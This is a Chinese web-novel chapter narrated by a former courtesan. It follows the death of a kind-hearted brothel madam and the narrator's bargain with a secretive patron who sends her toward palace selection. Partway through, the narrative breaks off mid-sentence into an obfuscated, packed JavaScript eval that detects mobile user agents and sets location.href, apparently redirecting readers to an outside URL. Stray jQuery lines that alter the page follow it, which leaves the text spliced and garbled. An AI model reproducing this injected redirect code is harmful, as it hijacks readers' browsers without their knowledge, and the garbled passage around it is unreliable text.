桃枝是我见过最傻的老鸨。


    我在楼里见过许多管女人的人。她们有的凶，有的笑里藏针，有的会哄人，有的只会打人。可不管哪一种，心里都清楚一件事：姑娘是本钱，本钱要用，要压，要榨，要趁着还能卖好价时多卖几回。若有姑娘病了，便看她还值不值得请大夫；若有姑娘闹了，便看她还有没有调教的余地。真到了不能挣钱的时候，便寻个牙婆，转到别处去，眼不见心不烦。


    桃枝偏不这样。


    她明明自己也是从楼里出来的女人，明明早被那些年熬空了身子，却偏要学人做个有良心的妈妈。客人来了，她先挑，醉得不像话的不要，手脚不干净的赶出去，给银子再多，若把人打伤了，她也敢沉着脸叫人滚。院里谁病了，她让歇。谁实在不愿接，她也不逼，只把账本翻得哗哗响，嘴里骂一句日子难过，转头自己又去前堂陪酒。


    她自己接得最多。


    有时夜深了，我从屋里出来倒水，能看见她扶着廊柱站一会儿。灯光从前堂漏出来，落在她脸上，粉已经花了，唇色也淡，人却还要笑。见我看她，她便先开口：“鸯鸯，怎么还不睡？年轻姑娘熬夜，脸要坏的。”


    她说这话时，自己眼下青得像两道墨影。


    我那时常想，她真傻。


    她明明知道这世道不会因为她肯心软，便少咬她一口。她护着这个，护着那个，到最后护不住自己。这样的老鸨，若放在从前那座楼里，三个月都撑不下去。可这座院子里的人偏都听她。阿月嘴上嫌她啰嗦，夜里却总给她留热水。阿盲眼睛不好，摸着墙也要替她分线。越心更是，一面骂她不会算账，一面把那些撒泼的客人挡在门外。


    这座院子很奇怪。


    它明明仍是卖笑的地方，夜里仍有男人进门，仍有酒气、脂粉气、那些叫人厌烦的笑声。可白日里，它又像一处被勉强拼起来的家。有人吵，有人骂，有人护着谁，有人替谁留一口饭。


    我最初只想暂时留下。


    我逃出来时身上没有银子，没有干净衣裳，也没有可以去的地方。桃枝救我，我自然感激。可感激归感激，可要把一辈子放在这座破宅里，我可不愿意。


    所以我住下后，一直在看。


    看这院里有没有出路，看桃枝能撑多久，看这些女人还能不能重新过上正经日子。看了几日，我心里便有了数。这里没比之前好到哪里去，像一处浅坑，人站在这里，不至于立刻淹死，却也上不了岸。


    直到有一日，桃枝同我说起那位公子。


    那天傍晚，她在灶间门口择菜。菜叶子有些蔫，她一边挑坏叶，一边同阿月拌嘴，说买菜的人眼睛是瞎的，这样的菜也敢往回拿。阿月不服气，说菜贩子一听是春宜馆的人，价钱便不肯压。桃枝骂了两句，骂完又叹气。


    我坐在旁边分药纸，随口问：“这院子是你买下的？”


    桃枝说：“哪有那本事。是一个贵公子赁的。”


    她说这话时，语气一下不一样了。


    我抬头看她。


    她说那位贵公子从前怎样进东边巷子，怎样替她们赎身，怎样替她换良籍，又怎样赁下这座宅子，留银子给她们过日子。她说话时，平日里那点难得泼辣收起来了。


    我问：“公子姓什么？”


    桃枝摇头。


    “不知道。”


    我愣了一下。


    “你不知道？”


    “他没说。”桃枝道，“我们也没敢问。”


    我低头笑了笑。


    这倒更像贵人了。救人，给钱，办事，转身离开，连姓氏都不必留下。底下的人记他一辈子，他却未必记得底下人的脸。


    桃枝却没看出我笑里的意思，只继续道：“他走的时候说，会再回来看看。”


    我把药纸折好。


    “多久前走的？”


    “两年多了。”


    “那还会回来吗？”


    桃枝手里的菜叶停了一下。


    过了片刻，她说：“会吧。”


    这两个字，她说得并不肯定。


    我没有再问。


    两年多，足够一个贵人忘掉许多事。救人时一时心软，花些银子，留几句好听话，过后回到自己的锦绣日子里，哪里还会记得广陵城南这个破宅子？我见过太多男人在床帐里许诺，说要赎人，说要娶人，说要带人走，完事后鞋都穿得比谁快。贵人比他们体面些，忘事时大约也更体面。


    可我还是把这个公子记住了。


    若桃枝没有夸大，那位公子便不是寻常人。他有钱，有门路，能办良籍，能把这么多女人带出来。这样的人，比春宜馆里其他任何一个客人都更有用。


    我那时还没有别处可去。


    所以我留下来。


    自然，也不全是因为他。


    这话我后来想过许多次，每次都觉得烦。人若把自己说得太冷漠，便会显得清醒；可有些事一旦想深了，又显得自己并没有那么清醒。


    我留下来的那半年，日子过得并不轻省。


    春宜馆夜里开门，白日里便像另一处地方。有人洗衣，有人熬药，有人算米钱。阿盲摸着墙走，常常把木盆碰翻。阿月嘴快，什么话都敢往外倒。小铃年纪轻，夜里还要陪笑，白日里坐在廊下打瞌睡，脑袋一点一点，像随时会栽进针线篮里。


    越心最忙。


    她不是这院子的妈妈，却比妈妈还像管事的人。桃枝夜里在前堂耗得太狠，白日里常常起不来，越心便替她看账，替她催药，替她骂那些拿了东西不给钱的混账。有客人白日里还敢来门外叫门，越心一把将门闩拍得震天响，隔着门便能骂半条街。她骂完回来，又把账本往桌上一摔，说这世道真该烂透了。


    桃枝听见，便在床里笑。


    “你这张嘴，日后若去开店，能把客人都骂跑。”


    越心道：“那也比你笑着把自己卖死强。”


    这话很难听。


    桃枝却只笑笑，说：“行，等哪天真有店给你开，你就去当老板娘。”


    越心翻了个白眼，“做梦吧。”


    我坐在旁边帮着写账，没有说话。


    我会认字，便常替她们看药方、看账本、看客人留下的欠条。


    起初她们还有些不好意思，后来便习惯了。阿月拿着一张皱巴巴的纸跑来问我，上头写的到底是三十文，还是五十文。我看完说五十。她便立刻跳起来，说我就知道那姓钱的不是好东西，写得跟蚯蚓爬似的，原来是想赖账。


    我有时也教她们认几个字。


    阿月在灶间等水开时，我拿烧火棍在地上写她的名字；小铃想给自己攒钱买一支银簪，我便教她认“欠”“还”“清”三个字。她们学得慢，常常今日记住，明日又忘。阿月最没耐心，学到一半便说，字真讨厌。


    我说：“会认字，骂人时底气足些。”


    她听了，倒又肯学两个。


    越心学得最快。


    她嘴上说自己看见字便头疼，真坐下来时，却比谁都认真。


    这些事说起来琐碎，不值一提。


    可在那座院子里，人就是靠这些琐碎活着。半碗热粥，一包药，一张写清的欠条，一个终于认出来的名字。它们换不来大富贵，也换不来体面，却能让人多熬一日。


    桃枝病得更重，是入冬之后。


    她起初还瞒着，夜里照旧去前堂。后来有一日，她在廊下走着走着，忽然扶着墙蹲了下去。越心冲过去扶她，她还要骂，说只是腿软。可她脸白得吓人，额上全是汗，裙边也沾了不干净的水痕。


    大夫来过几回，药也开过。


    桃枝嫌药贵。


    越心同她吵，说你再不吃药，死了谁管这院子。桃枝笑，说死不了，祸害遗千年。她说这话时，声音已经虚得不像样。阿盲坐在门边听见，眼泪掉下来。桃枝反倒骂她，说哭什么，晦气。


    我看着她们吵。


    越心气得眼睛发红，桃枝躺在床上，还要装作不疼。她们一个比一个嘴硬，硬到像只要谁先软下来，谁便输了。


    后来她还是死了。


    死前几日，她烧得糊涂，嘴里喊过阿盲，也喊过公子。


    她走的那天，天还没亮。


    越心坐在床边，手握着她的手，眼睛红得厉害，却没有哭出声。阿月在外头哭，小铃也哭。阿盲看不见，摸着墙一路摸到门边，差点绊倒。院里乱成一团，却又安静得可怕。


    我站在门外，看着越心替她把头发理好。


    那一刻我想，她果然傻。


    一个老鸨，做成她这样，实在太亏。


    可若她不是这样傻，我大约早已被转卖到别处去了。阿盲也许早撑不住，阿月也许早跑了，小铃也许会被更坏的客人拖走。越心嘴上再硬，也未必能一个人撑起这座院子。


    桃枝死后，越心接了她手里的账。


    越心同桃枝不一样。


    桃枝是苦里硬撑出来的心软，越心是火里烧出来的硬气。她嘴快，骂人利，账也算得越来越清。她白日里管米钱、药钱、房租，夜里管客人，管酒，管院里姑娘有没有被欺负。她骂起人来，半条巷子都能听见。可夜里收铺后，她也会坐在院里发呆。


    有一回，她喝了点酒，靠在廊柱旁，忽然说：“这世道真该换一换。”


    我正坐在旁边抄账，听见这句，笔尖停了一下。


    越心看着前堂那两盏红灯，声音带着酒气，也带着恨。


    “男人想活，怎么都能活。扛包，摆摊，卖力气，做小买卖。女人呢？靠手吃饭，他们嫌你抛头露面；靠脸吃饭，他们骂你下贱；嫁了人，便要看夫家脸色；不嫁，又要被人说没归处。我们这样的人就更好笑了，开门卖笑，他们骂我们脏；关门做活，他们还是说我们脏。”


    她说到这里，笑了一声。


    “凭什么？”


    世上许多事，本就没有“凭什么”。


    我也恨这个世道。


    只是我同越心不同。她恨起来，想掀桌子，想骂，想叫所有人都听见。她恨得很热，像一团火。可火烧得再旺，若没有柴，也会灭。我恨得不一样。既然这世道把人分成三六九等，既然男人可以靠家世、权势、才能往上爬，既然女人的美貌也能换来一点上升的缝隙，那我便要顺着这缝爬上去。


    我不想站在底下骂天。


    我想爬到天底下的人都要仰头看我的地方。


    越心说这样的话时，我从不反驳她。


    因为我知道，她说得没有错。


    只是我不会选她那样的法子。


    又过了一阵，公子终于回来了。


    那日我在灶间分药，阿月从外头跑进来，说来了一个人，越心姐像见了鬼。我把药包放下，走到廊下时，正看见越心领着一个人进院。


    那人穿一身半旧青衣，头发只用木簪束着，身上没有装饰，鞋上还沾着一点路上的灰。她进来时，神色平静，眉眼清朗，却并不显贵。若单看衣裳，甚至比许多常来春宜馆的客人还朴素些。


    我第一眼是失望的。


    桃枝把公子说得太好。说他办良籍，赁宅子，给银子。我听了半年，心里已把这个人想过许多遍。也许衣饰华贵，也许出手阔绰，也许一看便知道是富贵里养出来的贵公子。可他站在院中时，实在太不像。


    我当时想，桃枝果然把人说重了。


    可我没有急着下判断。


    在楼里学过的人，最忌只看第一眼。衣裳能换，钱袋能藏，真正藏不住的是举止与气质。


    公子在院里住了几日。


    我也看了他几日。


    他不爱多话，却一直在看。看阿盲如何摸着墙走，看阿月如何同菜贩讲价，看越心白日算账，夜里又如何迎客。


    那几日过后，春宜馆的门关了。


    第一日，我以为只是歇一夜。


    第二日，门仍关着。


    第三日，前堂的灯也没点。


    院里的人嘴上不问，心里都乱。阿月在井边洗帕子，洗一条看三回门。小铃拿着胭脂盒，不知该收还是该放。阿盲听见前堂没动静，手指在算盘珠上摸了很久。越心脸色比平常沉，却没有解释太多，只说先停几日。


    我看明白了。


    公子这次回来，不只是看一看旧人，留一点银子，再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643574|203305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说几句好听话。


    那几日夜里，越心同她说了很久的话。


    我不知道她们说了什么。可越心出来时，眼神变了。


    越心开始说一些更大的话。


    说这世道不该这样。


    说女人不该只有这几条被人推着走的命。


    说那些高高在上的人若真该换一换，也未必没有法子。


    她说这些话时，眼里有火。


    我站在旁边听着，心里却慢慢冷静下来。


    公子想做的事，比我原先想的更大。


    他不是只想救几个女人。若只是救人，给钱便够了。若只是图个好名声，他早可在桃枝活着时回来，叫众人跪下谢恩，再飘然离去。可他没有。他住下来看旧宅白日和夜里的两张脸。如今又关了门，听越心那些疯话。


    那他想要什么？


    人。


    能用的人。


    想到这里，我终于决定去见他。


    去之前，我认真想过该怎么穿。


    若打扮得太艳，便像仍把自己当春宜馆里待价的姑娘。若穿得太素，又容易显得刻意可怜。我翻了几件衣裳，最后选了一件月白旧衫。衣裳洗得有些发白，却干净。发上只簪木钗，不戴珠花，也不上脂粉。


    我知道自己的脸。


    有些脸，上了妆是价钱；不上妆，才像来历。


    我不能叫公子觉得我只会以色事人。那样的人，他未必没有见过。我要叫他看见，我会听，会想，会记，也知道自己能拿什么去换将来。


    越心带我去东厢时，还笑我，说我穿的像菩萨。


    我说：“菩萨不会来这种地方。”


    越心啧了一声。


    进屋后，公子坐在窗下。他抬头看我，我向他行礼，他请我坐。屋里灯不亮，越心在旁边站着，像想看我究竟要说什么。


    我便说了。


    说我知道他有所求，说他这几日不是怀旧，说青楼女子手里能拿出来的东西不多，无非一张脸，一张嘴，还有一点揣摩人心的本事。若他要我去某处，见某个人，听话也好，套话也好，离间也好，只要用得上，我都愿意。


    越心当时脸色不好，像要骂我。


    公子却看着我，很久没说话。


    那一刻，我心里也并非全然笃定。


    我是在赌。


    赌他的心够大，能看见我这点用处；也赌他的心还没硬到把我当一件随手可弃的器物。前者决定她会不会带我走，后者决定我会不会死得太快。


    后来他说：“遇到难处先保住自己的命。”


    这话说得我几乎要信。


    可我更明白，世上没有谁的命能全由自己握着。男人的命要交给朝堂，女人的命要交给家门、夫婿、客人、主子。若总要交出去，那我宁愿自己挑一个价高的地方交。


    陆公子最终带我走了。


    他说，要送我去历下朱家。


    我那时便知道，我赌对了。


    朱家是旧族，有名声，有规矩，有能把一个来历不明的女子重新洗成良家女的本事。若我能进朱家，便不再是春宜馆里的林鸯鸯。


    可去朱家的路上，我又有些后悔。


    公子出行太不像贵人。


    他不带随从也不摆排场，这就罢了。他住店时挑偏僻处，进城时不爱走正门热闹处。马车青篷旧帘，衣裳也朴素。他有时夜里还要亲自出去探看周围，回来时袖口带着露水。我心里忍不住想：我是不是看走眼了？


    这哪里像贵人。


    倒像逃犯。


    可他越这样，我又越觉得不简单。


    寻常贵人不会这样走路，寻常逃犯也不会有他那样的从容。他像一个身上带着许多秘密的人，知道哪里该快，哪里该慢，哪里有人看，哪里不能留痕。这样的人，若真能把我送进朱家，便说明他手里的东西比我想的还深。


    我们最后平安到了历下。


    可公子没有带我到朱家门前，而是在离朱家还搁这两条巷子的地方停下。


    我还以为只是暂歇，等了一会儿，见他没有继续往前的意思，才问：“公子不继续走了吗？”


    他摇头。


    “我送你到这里，已经够了。前面再走一截便是朱家。后头的路，你自己走。”


    “为何？”


    “不方便。”


    他只答了这一句，便没再往下说。


    这一路他行事处处避人，到了朱家门前依旧不肯露面。


    我没有追问太多。一个能把我送到这里，却不肯露面的人，必然有他的顾忌。越是这样，我越不能多问。知道太多的人，未必活得更久。


    我摸了摸袖中的信。


    那封信是公子给我的。纸张做得旧，边角磨过，墨色也压得不新。信里写得不多，只像一个晚辈向长辈托付一名落难女子。若不是我知道这一路的安排，单看那封信，倒真像是一个贵人念着旧情，替我找一处好人家。


    贵人做事，连一封信都能做的如此细致，我的心里安定了一些。


    一个肯把细处做到这份上的人，绝不会只是心血来潮。


    在我走之前，他终于把真正的安排说了。


    朱家有选秀的资格。


    两年后，我要去选秀。


    他要我入宫。


    我原以为，进朱家之后，公子给我的安排，是叫我做一枚高门里的暗棋。


    或许嫁给某个有用的人，或许进某户府中，或许替她听后宅里的话。这样的事，我能做，也愿意做。高门深院同青楼有许多地方相像，男人要哄，女人也要哄，主母、嬷嬷、丫鬟各有各的心思。只要给我几年，我总能摸清。


    但选秀，入宫，皇帝。


    我原本以为自己抓到的是一根能把我拉出原先身份的高枝。没想到这枝往上伸得这样高，高到尽头竟是宫墙。


    那一刻，我才真正明白，陆公子想做的事，比我想象中还要大。


    也比我想象中更敢。


    我低着头，没有让自己脸上露出太多神情。


    而我心里知道，从这一刻起，我终于摸到了一条真正通向高处的路。